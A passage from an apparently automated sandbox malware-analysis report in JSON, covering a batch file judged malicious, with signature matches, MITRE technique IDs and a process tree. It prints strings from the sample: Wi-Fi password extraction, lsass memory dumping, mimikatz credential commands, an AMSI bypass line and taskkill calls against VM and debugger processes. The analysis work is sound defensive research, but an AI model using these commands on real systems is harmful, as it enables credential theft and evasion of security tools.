Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"cmd.exe\" loaded module \"%WINDIR%\\TEMP\\VXOLE64.DLL\" at base 7ff98a9e0000\n \"cmd.exe\" loaded module \"KERNEL32.DLL\" at base 7ff9ac2a0000\n \"cmd.exe\" loaded module \"NTDLL.DLL\" at base 7ff9ae9a0000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at ABD50000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at ABD50000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at AA850000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at ACBA0000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at ACBA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"1.bat\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"Select-String\"; File: \"1.bat\")\n Found string \"netsh wlan show profile | Select-String '(?<= All User Profile\\s+:\\s).+' | ForEach-Object {\" (Indicator: \"Select-String\"; File: \"1.bat\")\n Found string \"$passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\\s+:\\\\s).+'\" (Indicator: \"Select-String\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\system32\\taskkill.exe\" [Source: 00000000-00000788-00000C47-374041648]\n Observed system executable string:\"%WINDIR%\\System32\\taskkill.exe\" [Source: 00000000-00000788-00000BC0-1941624670]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"taskkill.exe\" (UID: 00000000-00006392) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"taskkill.exe\" (UID: 00000000-00006392) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$28","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$29","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$2b","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\1.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to elevate privileges using Mimikatz\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\Server\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Reference\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Connect\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\FLTLIB.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\MSVCP140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"taskkill.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wbem\\wbemcomn.dll\"\n \"taskkill.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wbem\\bcrypt.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy files using xcopy","description":"Observed string: \"xcopy \"%ChromeDir%\\Cache\" \"%DestDir%\\Cache\" /E /I /Q /Y >nul 2>nul\" (Indicator: \"xcopy \") in Source: 1.bat\n Observed string: \"xcopy \"%EdgeDir%\\Cache\" \"%DestDir%\\Cache\" /E /I /Q /Y >nul 2>nul\" (Indicator: \"xcopy \") in Source: 1.bat","origin":"File/Memory","mitre_attack_id":"T1560.001","relevance":1,"id":"string-339","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"file/memory contains long string with (Indicator: \"\"ipconfig\"; File: \"1.bat\")\n Found string \"ipconfig >> \"userinf.txt\"\" (Indicator: \"ipconfig \"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"127.0.0.1\" found in string \"rpcdump.exe -v 127.0.0.1\"\n Potential IPs \"127.0.0.1\"\n \"127.0.0.1\" found in string \"PetitPotam.exe 127.0.0.1 127.0.0.1\"\n Potential IP \"127.0.0.1\" found in string \"rpcinfo -p 127.0.0.1\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh","description":"file/memory contains long string(File: \"1.bat\")\n Found string \"$passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\\s+:\\\\s).+'\" (File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1016.002","relevance":1,"id":"string-671","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ForEach-Object\"; File: \"1.bat\")\n Found string \"netsh wlan show profile | Select-String '(?<= All User Profile\\s+:\\s).+' | ForEach-Object {\" (Indicator: \"ForEach-Object\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-NetAdapter\"; File: \"1.bat\")\n Found string \"powershell \"Get-NetAdapter -Physical\"\" (Indicator: \"Get-NetAdapter\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"file/memory contains long string with (Indicator: \"findstr \"; File: \"1.bat\")\n Found string \"pid=tasklist | findstr lssas.exe\" (Indicator: \"findstr \"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"file/memory contains long string with (Indicator: \"password\"; File: \"1.bat\")\n Found string \"mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\"\" (Indicator: \"password\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains system command string that can search for a specific process","description":"Observed string: \"earnetsh wlan show profile | Select-String '(?<= All User Profile\\s+:\\s).+' | ForEach-Object { $wlan = $_.Matches.Value $passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\\s+:\\\\s).+' [pscustomobject]@{ \"Wi-Fi SSID\" = $wlan \"Password\" = $passw.Matches.Value }}procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)user=whoamimsg %user% \"Your dad left for the milk help him call +1-800-FREE-MILK\" vaultcmd /listvaultcmd /listproperties:\"Windows Credentials\"cmdkey /listpid=tasklist | findstr lssas.exerundll32.exe C:\\windows\\system32\\comsvcs.dll, MiniDump pid C:\\Windows\\Temp\\lsass.dmp fullmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" rpcdump.exe -v 127.0.0.1PetitPotam.exe 127.0.0.1 127.0.0.1rpcinfo -p 127.0.0.1\" [Source: 1.bat]\n Observed string: \"pid=tasklist | findstr lssas.exe\" [Source: 1.bat]","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":1,"id":"string-172","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"ipconfig\"; File: \"1.bat\")\n file/memory contains long string with (Indicator: \"whoami\"; File: \"1.bat\")\n file/memory contains long string with (Indicator: \"cmdkey\"; File: \"1.bat\")\n Found string \"whoami > \"userinf.txt\"\" (Indicator: \"whoami\"; File: \"1.bat\")\n Found string \"ipconfig >> \"userinf.txt\"\" (Indicator: \"ipconfig\"; File: \"1.bat\")\n Found string \"cmdkey /list\" (Indicator: \"cmdkey\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"taskkill.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\TASKKILL.EXE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"$2d","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/23 Antivirus vendors marked sample as malicious (13% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"cmd.exe\" monitors \"HKLM\\SOFTWARE\\Microsoft\\Ole\" (Filter: 268435457; Subtree: 0)\n \"cmd.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\\Local Settings\\Software\\Microsoft\" (Filter: 268435457; Subtree: 1)\n \"taskkill.exe\" monitors \"HKLM\\SOFTWARE\\Microsoft\\Ole\" (Filter: 268435457; Subtree: 0)\n \"taskkill.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\\Local Settings\\Software\\Microsoft\" (Filter: 268435457; Subtree: 1)\n \"taskkill.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 0)\n \"taskkill.exe\" monitors \"HKLM\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\ProviderOrder\" (Filter: 4; Subtree: 0)\n \"taskkill.exe\" monitors \"\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\" (Filter: 268435461; Subtree: 1)","origin":"API Call","mitre_attack_id":"T1012","relevance":1,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"Network Related","name":"Able to retrieve local network connections","description":"file/memory contains long string with (Indicator: \"netsh wlan \"; File: \"1.bat\")\n file/memory contains long string with (Indicator: \"netsh wl\"; File: \"1.bat\")\n Found string \"netsh wlan export profile folder=C:\\WiFi key=clear\" (Indicator: \"netsh wlan \"; File: \"1.bat\")\n Found string \"netsh wlan export profile folder=C:\\WiFi key=clear\" (Indicator: \"netsh wl\"; File: \"1.bat\")\n Found string \"netsh wlan show profile | Select-String '(?<= All User Profile\\s+:\\s).+' | ForEach-Object {\" (Indicator: \"netsh wlan \"; File: \"1.bat\")\n Found string \"netsh wlan show profile | Select-String '(?<= All User Profile\\s+:\\s).+' | ForEach-Object {\" (Indicator: \"netsh wl\"; File: \"1.bat\")\n Found string \"$passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\\s+:\\\\s).+'\" (Indicator: \"netsh wlan \"; File: \"1.bat\")\n Found string \"$passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\\s+:\\\\s).+'\" (Indicator: \"netsh wl\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-361","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_AMSI_Bypass\" matched file \"sample.bin\" as \"Detects AMSI bypass pattern\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to elevate privileges using Mimikatz","description":"file/memory contains long string with (Indicator: \"privilege::debug\"; File: \"1.bat\")\n Found string \"mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\"\" (Indicator: \"privilege::debug\"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":3,"id":"string-566","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1547.006","relevance":3,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to stop multiple expected running processes on the machine","description":"$2f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-604","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Terminates other processes using tskill/taskkill","description":"$30","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"malicious","category":"System Security","name":"Uses tskill/taskkill excessively (often used to disable security tools)","description":"Process \"taskkill.exe\" spawned very often","origin":"Monitored Target","mitre_attack_id":"T1685","relevance":7,"id":"target-64","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$31","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found browser information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]}],"intel_graph":{"map":{},"chains":[]}},"activity":{"stats":{"process_count":64,"spawned_processes_count":64,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":39,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sandbox_reports":[{"id":"6ac81a2eb6be286a53016b90","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":83,"malware_family":"Generic.AMSI.Disable.A","submit_name":"1.bat","analysis_start_time":"2026-10-08T22:33:19+00:00","indicators_count":{"informative":49,"suspicious":12,"malicious":5},"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}],"processes":[{"pid":788,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\1.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00000788","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":6392,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006392"},{"pid":588,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00000588"},{"pid":904,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00000904"},{"pid":996,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00000996"},{"pid":7656,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00007656"},{"pid":1392,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00001392"},{"pid":2572,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002572"},{"pid":7072,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00007072"},{"pid":1648,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00001648"},{"pid":3996,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003996"},{"pid":1932,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00001932"},{"pid":4340,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00004340"},{"pid":2700,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002700"},{"pid":5836,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005836"},{"pid":2072,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002072"},{"pid":2244,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002244"},{"pid":2320,"ppid":788,"name":"taskkill.exe","command_line":"taskkill 